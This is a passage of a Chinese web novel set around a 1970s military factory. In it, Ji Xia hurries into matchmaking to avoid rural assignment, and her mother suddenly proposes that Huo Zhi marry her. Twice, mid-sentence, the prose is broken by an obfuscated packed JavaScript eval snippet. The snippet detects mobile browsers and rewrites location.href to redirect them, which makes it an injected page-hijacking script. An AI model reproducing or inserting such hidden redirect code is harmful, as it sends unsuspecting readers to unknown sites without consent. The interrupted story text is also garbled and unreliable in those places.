纪夏绝望了,但突然意识到,她好像也并不是完全无路可走,好像还有一个选择—— 纪夏脑子里浮现刚刚霍执硬刚林祥安的画面。 心里忍不住飞快地盘算起来。 毫无疑问,霍执的条件相当不错。 还生活在郊外的机械厂,和林、卫两家完全没有交集。 最重要的一点是,他完全不怕林祥安和卫鸿哲,也无惧他们的身份。 对了,他还无父无母…… 除了有些阴晴不定,看起来有点凶之外,好像也没什么别的缺点了! 如果嫁给他的话…… 供销社大姐的话适时浮现在纪夏的脑子里。 纪夏悄悄看了一眼霍执。 心里冒出一个念头—— 要不然,她试试拿下他? 这个念头一冒出来,纪夏自己先被吓了一跳。 纠结了一路,等到吉普车以及要到她家附近时,她才终于狠下心做了决定。 想想林祥安和卫鸿哲那边的狼窝虎穴。 纪夏,你可以的! 可是该怎么拿下呢? 从来也没人教过她啊! 霍执并不知道纪夏在想什么。 为了避嫌,他特意将车停在一个不显眼的地方。 看见那袋糖,他拿过来递给纪夏。 纪夏这会儿紧张得要死,根本没注意他在干什么,下意识就伸手一接,将其抱在怀里。 “霍、霍执同志,期待与你下次再见。”纪夏紧张得舌头打结,压根不敢看他。 这就是她琢磨了好久,才终于琢磨出来的说法。 意味明显但又不失含蓄! 他应该能听得出来自己想和他继续发展的意思吧? 说完之后,纪夏紧张地等待着霍执的反应。 然而半天没听见他说话,纪夏鼓起勇气,抬起眼皮朝他看了一眼。 只见他正面无表情地盯着自己看。 纪夏:“……” 啊啊啊啊啊啊啊啊啊! 他这表情是什么意思? 这是拒绝的意思没错吧!!! 他果然没看上她! 是吧是吧! 意识到这一点后,纪夏一下子尴尬到了极点,一张白皙的脸瞬间爆红。 人生第一次这么丢人,她连话都顾不上说了,只想赶快逃离现场。 事实上她也这样做了。 纪夏甚至已经忘记自己是怎样下的车了,只记得自己一路跑回了家,将木门关上后蹲下来,将脸埋在怀里,内心疯狂尖叫。 就这么蹲了一会儿,又觉得自己腹部有一团东西硌得慌。 她低头一看,就看到怀里抱着的一大包糖果。 等等,这东西怎么会在她怀里! 应该……不会是她当时手忙脚乱下车时,不小心偷的吧??? 纪夏呼吸一滞,觉得自己这下还真不如死了算了。 7. 第 7 章 霍执还坐在吉普车里。 他当然听懂了纪夏话里的暗示。 就是一时之间不知道该作何反应。 说实话,他今天来这一趟,并没有抱什么其他的心思。 主要是他目前也没有什么结婚的打算。 唉,其实应该很干脆地拒绝的。 像之前为数不多的被逼着过去的相亲一样,一开始就开门见山的和对方说,自己没有要结婚的意思。 然后一次被对方气愤地骂了一声“流氓”。 另一次则直接被对方往脸上泼了一杯水。 所以在纪夏暗示他的时候,霍执突然有点走神,心想还好现在车上没有水让她泼。 不过转念一想,像她这样软趴趴的性格,大概也干不出来朝人脸上泼水的事。 于是就错过了最佳的反应时间。 等回过神来的时候,纪夏已经下车跑了。 跑得比兔子还快。 沉思了一会儿,霍执开车回厂里。 一路上都有些心不在焉。 回到厂里,远远看到钱英,想到她一定会来问相亲的事,霍执有点不想应付。 把车还给厂里后,就飞快地溜了。 急匆匆赶过来的钱英扑了个空。 钱英原本都觉得这次肯定十拿九稳了。 但见霍执这副心虚的样子,心里瞬间涌起不好的预感。 这次该不会又没相成吧! 这臭小子,纪夏这样的都看不上,他是想上天吗! 钱英一时之间气得不行,也不想热脸贴他冷屁股了,暂时就没去逮他。 不过正好路上碰见了杜长喜,想起这两人向来形影不离臭味相投的,于是更气不打一处来,揪着杜长喜就骂了一顿。 走在路上无缘无故被数落了一顿的杜长喜:“???” 他今天也没惹事啊? 出了气后,钱英提起正事:“你替我问问霍执今天相亲怎么样,他是什么意思,到底看上人家姑娘没有?” “得嘞!保证完成任务!”杜长喜嬉皮笑脸应了声。 杜长喜回到宿舍时,隔壁的几个同事正凑在他们宿舍一起打牌。 霍执双手枕在后脑勺上,躺在自己的床上不知道在想些什么。 杜长喜先被打牌的动静吸引,凑过去互相吹了一会儿牛后,才想起钱英的嘱托,于是便朝霍执问道:“执哥,你今天和纪夏相亲相得怎么样啊?” 好巧不巧,霍执此时的脑子里也正好在想着纪夏的事。 他脑子不笨,很容易看出来纪夏在这个时间点急着相亲结婚,目的是为了能留城。 霍执对这种行为并没什么意见。 况且纪夏那弱不禁风的模样,真去乡下干农活她干得明白吗? 没想到半路杀出个林祥安。 她现在估计是把自己当成救命稻草了。 现在最简单的办法就是找个不怕林祥安身份的人结婚。 自己无疑就是个很好的选择。 但这样的话,霍执势必得将自己给搭进去,他现在还没做好牺牲自我的准备。 现在杜长喜突然提到纪夏,霍执身体一僵,差点以为杜长喜知道自己在想什么。 “你问这干什么?”霍执抬眼,语气听上去不太好。 “就问问呗,干嘛那么大火气啊?”杜长喜抱怨了一句,“行行行,不问了不问了!” 杜长喜暗自琢磨了一下,看他执哥这不愿多聊的样子,估计是相亲不顺利! 他决定还是不去戳这火药桶了! 杜长喜将这事抛到脑后。 直到第二天碰到钱英,对方又问起他这事。 杜长喜回想一番,张口就来:“还不是跟以前一样,没相上呗!” 钱英一听,脸色顿时变得难看起来:“真又没看上?” “当然,那还能有假吗!”杜长喜十分肯定地点头。 钱英“哼”了一声,只感觉心里拔凉拔凉的。 正要走时,却见杜长喜眼珠子一转,搓了搓手道:“哎,钱婶,既然执哥他没看上,你干脆把纪夏介绍给我呗!” 他对纪夏很有印象。 除了因为长得过分漂亮之外,还对她的性格特别感兴趣。 大概是见多了厂里比他还虎的女同志们,惹恼了能拿着刀狂追他三公里的,乍然碰见纪夏这样的,还真挺新奇的。 钱英听见这话,上下打量了杜长喜一眼,觉得他勉强也算是个不错的结婚对象,于是说:“行是行,但我得问问人家女同志那边的意见。” “应该的应该的!”杜长喜连忙应道,顺便讨好道,“钱婶你一定得多说说我的好话啊!” “知道了!”钱英摆摆手,答应下来。 …… 从杜长喜口中确认霍执没看上纪夏之后,钱英一整天都气不顺。 到了晚上也抓心挠肝的,在床上翻来覆去睡不着。 睡在旁边的被吵醒了无数次的丈夫一双虎目瞪过来:“你到底睡不睡?” “睡不着!”钱英干脆坐了起来,拿起手边的蒲扇给自己扇了扇。 “你又怎么了?”文全山打着哈欠问了一句。 “还不是因为霍执!”钱英深呼吸了一下,“都介绍了那么多了,一个都没成,你说他到底喜欢什么样的啊?” “这我哪能知道?”文全山困得眼睛都睁不开了,“我看你差不多得了,孩子不喜欢,你也别总逼着他,他现在年纪还小,不想结婚也正常,再等几年也不迟……” 钱英想了想,觉得也挺有道理的。 行吧,反正近期她也懒得管了。 免得那孩子见她就躲! 虽然心里已经做了决定,但钱英嘴上依旧不饶人,气不过推了丈夫一把,抱怨道:“你别事不关己高高挂起,你以为我忙前忙后地图啥啊,还不都是为了给你擦屁股!” “怎么又提这事!没完没了还!”文全山不高兴起来,翻了个身不再搭理她了。 见他这样,钱英撇了撇嘴,到底也没再多说什么。 重新躺下后,忍不住又想起了过去的事。 她之所以这么关心霍执的事情,除了因为两家的关系之外,还因为丈夫文全山早年干过的一件糊涂事。 文全山是个老革命,十几岁就干起了革命,抗过日,也上过朝鲜战场。 后来国内国外的仗都打完了,大批军人们开始转业。 戎马生涯几十载,早就落下一身伤病的文全山在钱英的劝说下,无奈递上了转业申请。 因为功劳不小,当时组织上给了文全山几个选择。 一个是回到地方上当干部,另一个则是去管军工厂。 文全山到底还是舍不得部队,选了第二个。 就这样,钱英跟着文全山来到了三一三厂。 那时的厂里才刚筹建没几年,百废待兴,涉及的又是机密军工,时间紧任务重。 文全山又是个大老粗,对技术方面的东西可谓是一窍不通,还是按照自己在部队那一套。 因此也和一帮技术人员闹了不少矛盾。 那一堆技术人员里,就属霍执的父亲霍明远最厉害,说是一句天才也不为过。 苏联专家给的复杂图纸,大家都看不懂,偏他扫一眼就知道是怎么回事。 所以年纪轻轻就成了厂里的技术骨干。 知识分子,清高,脾气也硬。 别人可能还顾忌文全山是厂长,有些事情安排的不合理,也不敢多说什么。 但霍明远就不,敢直接和文全山对着干。 两人吵得最凶的那段时间,据说有人听见文全山在厂长办公室里拍着桌子大骂:“霍明远,行不行老子拿枪毙了你!” 就在众人担心这样下去是不是真的会闹出人命的时候,这两人关系却变好了。 钱英对此倒是不意外。 丈夫文全山虽然是个大老粗,但其实内心是很尊重知识分子的。 霍明远也不是个不讲理的人。 一段时间的磨合之后,了解彼此的为人和经历后,竟有些惺惺相惜。 明明相差了十几二十岁,竟然直接称兄道弟起来,直叫人咋舌。 文全山自认为是霍明远的大哥,理所当然地关心起老弟的生活来了。 彼时霍明远丧妻,一个人带着儿子霍执生活。 单身父亲带着儿子,生活自然是过得有点糙。 一日三餐都是在单位食堂解决,衣服破了还得专门请人缝补,家里不是缺这个就缺那个的。 文全山有些看不下去,就说:“老弟啊,你怎么不再娶一个,瞧你这日子过的!” 霍明远笑着摇摇头:“懒得费那个事,我自己带着小执也挺好的。” “你不为自己也要为小执想想啊!”文全山劝道,“你看一群孩子里,就小执身上的衣服最脏最破,你平时又那么忙,家里还是得有个人操持。” 文全山这话其实说的不对。 霍执衣服最脏最破主要还是因为他最皮。 明明才五六岁的小孩,但聪明机灵鬼点子也多,一身破衣服也被他穿出点别的气质了。 厂里的小孩都爱跟着霍执屁股后面跑,杜长喜更是他的头号小狗腿。 总而言之,文全山对这事上了心, 那会儿厂里人还没那么多,厂里的职工大多数都是转业过来的军人,拖家带口的,也没适龄未婚的女同志。 文全山便把目光瞄到了附近的向阳公社。 经人介绍了一个女同志,名叫王小莲,人长得挺漂亮的,也年轻。 结过一次婚,没能过两年日子,丈夫就死了,也没孩子。 在文全山的撮合下,两人结了婚。 那会儿正好赶上文全山和钱英的女儿生孩子,女儿婆家那边没什么人,钱英便赶去外地照顾女儿月子去了。 等到钱英回来,才知道这件事,和王小莲打过交道后不由得叹了口气,埋怨丈夫真是胡闹。 文全山一开始还不以为然,还觉得自己干了件好事。 没想到王小莲还真如钱英说的那样,是个面甜心苦的。 一开始还过了段安生日子,后来脾气却越发捉摸不透,弄得家里鸡飞狗跳的。 原本活泼的霍执也变得沉默不爱说话。 霍明远更是整日愁容满面,郁郁寡欢。 文全山虽然嘴上不提,其实心里一直过意不去。 钱英也知道他的心结,这么关心霍执的终身大事,也是想要弥补一二。 如果霍执身边有人陪着,他们心里也会好受点。 同时也是怕霍执因为王小莲那个疯女人留下什么心理阴影,不愿意成家那就糟糕了。 所以才会在霍执从部队转业回来后,那么热心地给他安排相亲。 现在想想确实有点关心则乱了,没考虑到霍执本人的想法。 而且霍执现在也年轻,过几年再考虑也不迟。 想通了之后,钱英变得心平气和多了,很快便睡下了。 …… 次日,钱英便去了一趟纪家。 一来是想看看纪夏这边的情况。 想起霍执往日相亲的德性,她担心他又把人给得罪惨了。 作为长辈,她怎么着也得给人家赔个不是。 二来也因为答应了杜长喜。 纪夏这姑娘还真就合上钱英的眼缘了。 又知道她现在的处境,钱英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072174|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便想着能帮一把是一把。 别的不说,只要纪夏嫁到他们机械厂来,那个姓林的想伸手过来可不是那么容易的事! 杜长喜这小子虽然浮浮躁躁不稳重,但小伙子人也算出挑,嫁给他并不亏。 想到这里,钱英又觉得霍执真是眼睛瞎没福气。 看看人家杜长喜多精啊,跟耗子闻到香油似的,一下子就凑上来了! 一路就这么想着,钱英到了纪家。 进了门金桂花就迎了上来:“哎,钱姐,我正要去找你呢!” 钱英率先观察了一番金桂花的表情,见她脸上不见多少恼怒,稍微放下一些心来。 “我心里也一直挂念着这件事呢,这不一有空就过来了!”钱英笑着说。 “是啊,我也念着这事呢,纪夏这孩子回来也说不清楚,你们男方那边到底是什么意思啊?”金桂花迫不及待地问了起来。 金桂花对这次的相亲抱着很高的期望。 所以纪夏当时一相亲回来,金桂花就立马抓着她问了情况。 纪夏当时一脸想死的表情,本来不太想说,但在金桂花的逼问下,还是老老实实地交代了。 纪夏一口咬定对方没看上她,自己遭到了拒绝。 金桂花觉得女儿说的有道理,但毕竟霍执也没明确说拒绝。 何况霍执不是还给女儿塞了一大袋糖呢,也不像是完全没意思的样子啊! 所以她心里还是抱了一丝期望。 但其实主要还是因为听到了霍执直接扭断了林祥安的胳膊,金桂花这会儿对霍执印象好得不行。 恨不得赶紧把人扒拉回家里。 第一次见面不合心意没关系啊,多接触几次不就有感情了嘛! 搁以前那都还是盲婚哑嫁呢! 钱英也顺势问了下纪夏这边的说法,得知霍执这次竟然没做什么过分的事,总算满意了些,一颗心彻底放回了肚子里。 面对金桂花的询问,钱英也只能含糊着说:“唉,可能是两人缘分没到。” 金桂花听懂了钱英话里的意思,顿时失落极了。 钱英连忙安慰:“我们厂里年轻小伙子多着呢,我今天过来也是给你们介绍另一个优秀的男青年,对方条件也是很不错的!” 说完,钱英介绍了一番杜长喜的情况,自然都是捡着些好听的话来说。 依旧有些生无可恋的纪夏也被叫过来旁听。 原本她并没提起多少劲,但听着听着竟然觉得好像还不错? 和霍执年纪差不多,同是机械厂的,同样是个不怕事的! 而且性格开朗,脾气也不错! 纪夏越听越振奋:这不就是她理想的丈夫人选吗! 金桂花听着也觉得不错。 几人相谈甚欢,钱英临走时,纪夏想起什么,从屋里拿出来上次霍执给她的那一纸袋的糖。 谢天谢地,忍着尴尬回忆了一番之后她可算是想起来了,这糖并不是她不小心拿走的,而是霍执主动给她的。 虽然也不明白霍执为什么给她糖,但无功不受禄。 况且东西还这么贵重,纪夏并不愿意占这个便宜。 于是只好拜托钱英帮忙带回去还给他。 钱英觉得有点奇怪,但也没多想,很爽快地就答应了下来。 …… 杜长喜自从昨晚和钱英说了之后,心里就一直惦记着这事。 一见到钱英回来,就巴巴地凑上来了。 “钱婶,咋样啊?”杜长喜腆着脸问。 钱英哪里还不知道他的心思,斜睨他一眼,慢悠悠地坐下,又喝了一口水,才慢悠悠地说道:“妥了,明天上午你有没有时间,和人家去见一面。” “那没有也得有啊!”杜长喜脸上咧开一个大大的笑容。 钱英简直没眼看,挥了挥手示意他赶紧走:“哦,对了,这一袋糖你给霍执拿回去!” “您给他买的啊?”杜长喜接过来,“大男人吃什么糖啊?” 说完,就想要拆开来自己吃。 “别人还给他的,问那么多干嘛,你给他后他自己知道是怎么回事。”钱英想了想还是没说是纪夏还的,主要也是考虑到万一以后纪夏和杜长喜成了,这事会成为两人之间的隔阂。 杜长喜一听也不问了,喜滋滋地抱着糖回去了。 回到宿舍,霍执人没在,杜长喜便随手将糖搁在了他那边的桌子上。 心里美滋滋地开始想着明天相亲的事。 霍执这几天一直被拉去技术部帮忙,每天都是早出晚归,也没注意到自己桌子角落那一袋子糖。 匆匆去公共浴室洗漱完就直接躺床上睡了。 一夜无梦。 直到第二天清早被一阵窸窸窣窣的声音吵醒。 他睁眼一看,就见杜长喜正站在镜子前臭美。 也不知道从哪里搞来了一把粉红色的塑料梳子,将梳子在搪瓷盆里用水沾湿,一边给头发分发缝,一边嘴里还哼着歌。 被吵醒后也睡不着了,霍执扯了扯嘴角,懒洋洋地问了句:“你要出门?” “对啊,相亲去!”杜长喜应道,声音喜气洋洋的。 霍执挑眉,接着问:“厂里的?” 杜长喜他妈一直想让他找个厂里的姑娘组建家庭。 然而杜长喜自个儿不乐意,这事也就一直没成。 “……不是。”杜长喜回头看了霍执一眼,突然变得有些心虚,“说了你别介意啊。” 霍执挑眉。 这关他什么事? “就是那个纪夏同志啊,”杜长喜小心翼翼又磕磕巴巴,“不是和你没相上嘛,所以我就拜托了钱婶……” 霍执:“???” 8. 第 8 章 “你说谁?” 铁架子床发出刺耳的一声巨响。 霍执猛地从床上坐起来,一双漆黑的眼睛直直看向杜长喜。 杜长喜被吓了一大跳:“怎、怎么了?” 霍执也觉得自己的反应有点大了。 他绷着脸重新躺回去,一条长腿支起来,语气生硬道:“没什么。” 纪夏跟谁相亲跟他又没多大关系。 但她为什么这么着急把自己嫁出去? 也行吧,杜长喜勉勉强强也算是个好人。 他们两个结婚的话…… 这个念头一升起来,霍执没发现自己的嘴角已经拉成了一条直线。 “执哥,那我去了?”杜长喜小心翼翼地问了句,总感觉心里毛毛的。 “哦。”霍执应了一声,声音很冷淡,“你去吧。” 杜长喜高高兴兴地准备出门了,刚走到门口,背后突然又传来一道声音:“等等。” “嗯?”杜长喜止住步子,回头问。 “这事你和你妈说了没?”霍执重新坐起来,皱眉问道。 杜长喜挠挠头:“还没呢。” “纪夏情况跟你不一样,你要现在没结婚的打算,只是抱着玩玩的心思,就别去招惹人家。”霍执的眉头依旧紧锁着,表情有些严肃。 杜长喜一听,挠了挠头。 他还真没想到结婚那么远的事。 今天出去,也只是想和纪夏认识认识,如果相处得好,结婚也是可以的。 但现在被霍执这么严肃地一说,霎时就觉得压力上来了,不由得犹豫起来。 “要不我一开始就跟她说清楚?”杜长喜苦恼地说。 霍执扯了扯嘴角没说话。 杜长喜想了想也觉得如果自己要是这么做,好像和流氓没什么区别啊! 不过这种不负责任的行为为什么会有种似曾相识的感觉? 他想起来,霍执就这样做过,结果被人女同志泼了一脸水。 记得那会儿还是大冬天,霍执冷着脸顶着一头快结冰的湿头发回来,杜长喜都快要笑死了。 杜长喜突然觉得自己脑袋也有点凉凉的。 “执哥,你今天是不是要进城啊?”杜长喜脸上露出一个谄媚的笑容。 正所谓死道友不死贫道,一回生二回熟,反正他执哥对这事熟,舍己为人帮帮兄弟怎么了? 霍执“呵”了一声。 杜长喜右手握拳,左手包住右手,作出握拳的动作,求他道:“你先和她说,我突然有事去不了了,我今天先去和我妈说下这事,顺便想一想接下来该怎么办。” 其实他觉得和纪夏结婚也不是不行。 她真的挺合他眼缘的! 霍执没说行也没说不行。 “执哥,大恩大德,没齿难忘啊!”杜长喜就差跪下来了。 霍执这才勉强答应:“下不为例。” 杜长喜简直喜出望外:“执哥,你真是我亲哥!一定得帮我好好说说啊!” “行啊。”霍执扯了扯嘴角。 “哎,那我现在就回家和我妈说一声!”杜长喜高兴地说。 …… 这次出门,霍执没再去申请厂里的空车,而是直接坐上了一辆进城的卡车。 驾驶员是车队的同时,上车后两人有一搭没一搭聊了几句。 随后霍执便往后一靠,装作要睡觉的样子,闭上了眼睛。 但没真的睡过去,心里还想着事。 杜长喜玩心太强,根本没什么定性。 况且他家里人也都不是什么善茬。 杜长喜她妈可是被誉为机械厂第一霸王花,发起脾气来,大老爷们照打不误。 而杜长喜她妹杜笑笑则是妥妥的一朵小霸王花,厂里没有一个孩子没被她欺负过。 就纪夏那软趴趴的性子,估计会被拆得连骨头都不剩。 …… 另一边,纪夏也早早来到约好的相亲地点等待。 相比于上一次相亲的略有些敷衍,纪夏这次可以说是相当上心。 不仅精心打扮了一番,出门前还仔细检查了好几遍,确保浑身上下没什么不妥。 他们相约的地方就在人来人往的街边。 纪夏还不知道杜长喜长什么样子,反正据钱婶说他人还不错,而且还认识她。 可惜纪夏对杜长喜并没什么印象。 况且现在也没她挑剔的份了,反正只要人不是太差劲,她觉得自己都可以咬着牙嫁了…… 纪夏有些丧气地想着。 …… 霍执搭便车的那个驾驶员很是热心,左右不过是一脚油的事儿,他便干脆将霍执送到了约定的地点。 道了声谢后,霍执拉开车门,轻轻一跃,直接从大车上跳了下去。 动作矫捷又利落,双脚稳稳地落在地上。 目送着大车离去,他才将视线往别处一扫,立马就看见了在街边站着的纪夏。 她上半身穿了件小圆领白底碎花棉布衬衣,配了条格纹背带裙,有些学生气的打扮。 裙子料子轻薄,随风飘摇,长度到小腿的位置,脚上踩着一双简单普通的乳白色塑料凉鞋,没穿袜子,从脚踝到小腿之间的曲线漂亮极了。 只是这么站在路边,就引得路人频频侧目。 霍执突然想起上次她和自己见面时的穿着—— 普普通通的衬衫配肥肥大大的长裤…… 再又想起她之前和林祥安相亲时,穿的好像也是一条漂亮的裙子。 这不对比还好,一对比就感觉和自己见面时透着几分显而易见的敷衍。 霍执心里头掠过一丝极为微妙到自己都没察觉到的不爽。 于是也没立马过去,而是往身后的路灯上一靠,就这么盯着她看了一会儿。 然而纪夏早就已经习惯了在路上被人打量,所以压根没发现他。 日头渐渐升上来,温度也随之升高。 黑色的柏油路面蒸腾出一股刺鼻难闻的气味。 纪夏躲在路边的阴影处,时不时往粮油店里挂着的钟表瞧上一眼。 瞧完又眼巴巴地往路口的方向看。 一张白皙的脸有些发红。 不知道是热的还是着急的,但完全没有要走的意思。 霍执又想起她小时候傻乎乎等人的样子。 怎么这么多年了还没半点长进? 霍执“嗤”了一声,没再犹豫,大步朝她走过去。 纪夏此时正一边猜测相亲对象迟到这么久还没来的原因,一边无聊地用视线扫视走过来的一切疑似是她相亲对象的年轻男性。 突然,一道高大挺拔的身影闯入纪夏的视野。 看着有些眼熟。 纪夏视线移到他脸上,瞬间瞪大了双眼。 认出来是谁后,她想也不想,立马背过身去。 心里不停地祈祷:看不见我!看不见我! 救命,怎么会遇见霍执! 瞬间又想起上次的尴尬了,纪夏真是尴尬得想死。 现在只能祈祷他没看见自己了。 只是天违人愿,很快,这道高大的黑影直接停驻在了她的面前。 纪夏:“……” 纪夏决定再挣扎一下。 于是她略带僵硬地侧过脸,假装去看马路上拉着满满一推车蔬菜进城来的一行农民。 站在她面前的人也没动,也不说话,就这么大喇喇地盯着她看。 落在她脸上的视线让人想忽视都忽视不了! 僵持了一会儿后,纪夏才终于意识到了这个男人就是故意的! 故意不说话盯着她看! 她瞬间变得有些恼羞成怒,回过脸瞪他。 霍执总算见到她生气瞪人的样子,不由得挑了挑眉。 两人大眼瞪小眼了一会儿,霍执才咳了一声,总算开口:“杜长喜有事不来了,让我和你说一声。” 纪夏反应过来,有些惊讶地“啊”了一声。 失望之情简直溢于言表。 霍执见她这样,只觉得心里莫名被什么一堵。 话也带到了,他冷着脸告辞:“那我就先走了。” “等等——”突然从旁边斜插进一道声音。 霍执转头,就见到一位穿着蓝色劳动布斜襟布衣的中年妇女挡在了自己的面前。 此人正是金桂花。 纪夏也没弄明白她妈到底是从哪冒出来的,瞪大眼睛喊了一句:“妈,你怎么来了?” 金桂花先瞪了一眼自己不争气的女儿。 心里想着,幸亏她来了! 主要还是因为纪夏前几次失败的相亲,让金桂花心里变得越发没底,这次便悄悄跟过来准备看看到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072175|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么情况。 跟着纪夏等了好久没等到杜长喜,心里多少有些不满。 直到她注意到了从车上跳下来的霍执,不由得眼前一亮。 心里还盼望着这要是那个杜长喜就好了。 但看了一会儿,又觉得有点眼熟,认出来他就是那个叫霍执的年轻人。 又见他一直盯着纪夏看,心里忍不住打起了算盘。 又等了一会儿,见霍执果然朝纪夏走过去,金桂花更是激动得想要拍自己大腿。 因为隔得远,金桂花也听不见他们说什么。 只见两人没说几句话,霍执就要走,金桂花当即就忍不住跑了出来把人给叫住了。 “夏夏,怎么也不介绍一下?”金桂花朝纪夏使了个眼色。 纪夏不明所以,但还是说:“妈,这是霍执。” 特意还扯了扯金桂花的衣角,希望她明白自己的意思,别拦着人家让人家赶紧走吧。 然而金桂花压根不理会纪夏,朝霍执露出一个笑容:“是夏夏的朋友吧,哎哟,这日头可真晒啊,要不回家里喝口水吧,不远的,走几步路就到!” 说完,压根不容霍执的拒绝,金桂花直接把人给扯回了家里。 纪家的房子位于小巷里,是早年厂里给分的小平房。 面积不算大,勉勉强强隔出来三间房。 早年一家五口住着有些挤,现在就金桂花母子三人住着,倒是宽敞多了。 走近院门,首先见到的是一个不到六平米的小院。 小院收拾得十分干净利落,一侧的墙面撑着竹竿晒着衣服,角落里种了些自家吃的葱蒜蔬菜。 另一侧墙角有一颗不大不小的桂花树。 树下的阴影处摆着几把纳凉的小竹椅。 金桂花十分热情地招呼着霍执坐下。 霍执高大的身躯挤在坐在又矮又小的竹椅上,脸上的表情有些不自在。 金桂花像没发现一样,朝纪夏使眼色:“去给小霍倒杯水来!” 想让她趁此机会多表现表现。 “不用了,我不渴。”霍执忙说道。 但纪夏已经转身去屋里倒水去了。 很快,她端了两杯水出来,将其中的一个印了红色标语的白色搪瓷杯递给霍执。 霍执沉默着接过来。 金桂花眼珠子在他俩身上来回打转。 只见霍执沉默着喝水,自家女儿也跟个木头似的,坐在一旁不说话。 金桂花:“……” 真是指望不上一点,还得要她出手啊! 于是金桂花一拍大腿,语气浮夸道:“哎哟,我就说怎么看你这么眼熟呢,你不就是上次和我们夏夏相亲的那个男同志吗?” 霍执一口水直接呛住,猛烈地咳嗽起来。 “哎哟,没事吧?”金桂花关心道。 霍执摆了摆手,示意自己没事。 纪夏也被金桂花的语出惊人给惊呆了,她忍不住张嘴叫了一声:“妈!” 她妈这是要做什么呀! “你上次和我们夏夏相亲,听说对她不满意,能和婶说说为什么吗?”金桂花压根没搭理自家扯后腿的女儿。 霍执:“……” 霍执面露尴尬。 同样尴尬到想死的纪夏更是一张脸涨得通红。 “咦,怎么不说话了?”金桂花根本不顾及两个年轻人的死活。 “没有。”霍执沉默几秒回答。 “没有什么?没有不满意吗?”金桂花又问。 霍执不知道该怎么回答。 “既然没有不满意,那就是对我们夏夏还挺满意的!”金桂花逻辑惊人。 霍执:“???” 等等,他是这个意思吗? 纪夏看着如此熟练张冠李戴的她妈,觉得自己简直快要昏过去了。 忍不了了,她打算开口打断她妈。 “妈,你——” 然而纪夏刚开了个头,就被金桂花的大手捂住了嘴,并且将她大力按在了椅子上。 纪夏瞪圆了一双眼睛,嘴里发出含糊的声音。 霍执看着眼前这一幕,突然有种自己进了贼窝的感觉。 然后下一秒,他就听见金桂花语出惊人道:“小霍啊,婶也不跟你绕弯子了,你跟我们家纪夏结婚怎么样?” 霍执:“???” 9. 第 9 章 此话一出,两人都愣住了。 原本还在金桂花手底下挣扎的纪夏双腿往前一蹬,也没了动静,整个人宛如一条死鱼。 唯有金桂花淡定至极,完全没有自己刚刚说了什么了不得的话的自觉。 几秒之后,霍执反应过来,只觉得荒谬:“您这是在开玩笑吧?” “没跟你开玩笑。”金桂花叹气,“小霍你是个聪明人,我们家的情况你也清楚。” “你看我们家纪夏也不差,你也不讨厌她对吧? 霍执一时间竟然不知道该怎么回答。 “而且小夏对你也很满意,”金桂花瞧见霍执神色有些松动,继续说,“回来后还跟我说起你呢,以为你不满意她,回来后难过了好久呢。今天和你们厂另一个男同志相亲还是被我压着去的,她自个儿可不愿意了!” 纪夏:“???” 我不是,我没有!我很愿意去的啊! 霍执:“……” 金桂花一句接着一句,让人想插嘴都插不进去。 等反应过来时,金桂花已经兴致勃勃把结婚的事情都定下来了。 “结婚的事你不用操心,咱们可不讲究什么彩礼,只要你们两个能好好过日子就行!” 金桂花一心想着纪夏能结婚留在城里,考虑到结婚时间紧,所以这些天一直在留心各种票证,布票啊、工业券、家具票啊什么的,陆陆续续跟人换来了不少,就等着结婚的时候能派上用场! 钱的事,就更不用操心了。 老伴和大儿子每个月都寄钱来,二儿子也没个对象,金桂花也毫不客气地收缴了他的一部分工资! 反正就算是纪夏明天出嫁,金桂花那也是半点不带慌的! “你看你什么时候带媒人上门啊?”末了,金桂花笑眯眯地问。 霍执:“???” 他刚刚是错过了什么吗?怎么事情就发展成这样了? “这事宜早不宜迟,我看后天是个好日子!”金桂花拍板。 今明两天的时间准备应该也够了! 霍执太阳穴狠狠跳动了一下,正要开口,突然院外传来拍门声:“金桂花同志,你在家吗?” “谁啊?”金桂花起身去开门。 院门外正是他们居委会的大妈,以及知青办那边的一男一女两个工作人员。 这几人为着纪夏下乡的事,已经不是第一次上门了。 金桂花前段时间可真是见到他们就躲。 这会儿也想都不想就要关门。 然而居委会大妈眼睛厉害,一瞧见金桂花的动作,就赶忙先伸了只脚进来,朝金桂花不好意思地笑笑:“桂花啊,你看人家两位同志大热天这么辛苦地过来。……” 金桂花先是瞪了她一眼,突然又想起院里的人,眼珠子一转,腰杆子瞬间硬了起来。 打开门让他们进来,居委会大妈一眼就看见了霍执,不由得眼前一亮:“哟,家里来客人了啊?小伙子长这么俊,你们家亲戚啊?” 金桂花正等着她这句话呢,故作淡定说:“这我们家纪夏的对象,过来和我们商量结婚的事呢。” 霍执:“……” 纪夏:“……” 居委会大妈震惊了,两个知青办的工作人员也面面相觑。 两人正是过来给金桂花和纪夏做思想工作的。 这纪家算是他们片区几个不肯下乡的钉子户之一,为了动员这几乎人家,知青办的工作人员不知道废了多少口舌。 本来这次来,也是做好了打一场硬仗的准备。 倒是也没想到会听到这么一个爆炸消息。 “可是纪夏同志不是才高中毕业吗?”女工作人员确认了一遍。 “都二十了,早就到了该结婚的年龄了!”金桂花淡定地说。 年纪轻轻的男工作人员沉不住气,直接指出来:“我看你们就是想通过结婚逃避下乡。” 男工作人员本来对纪夏很有好感的。 现在见她如此,颇有些恨铁不成钢。 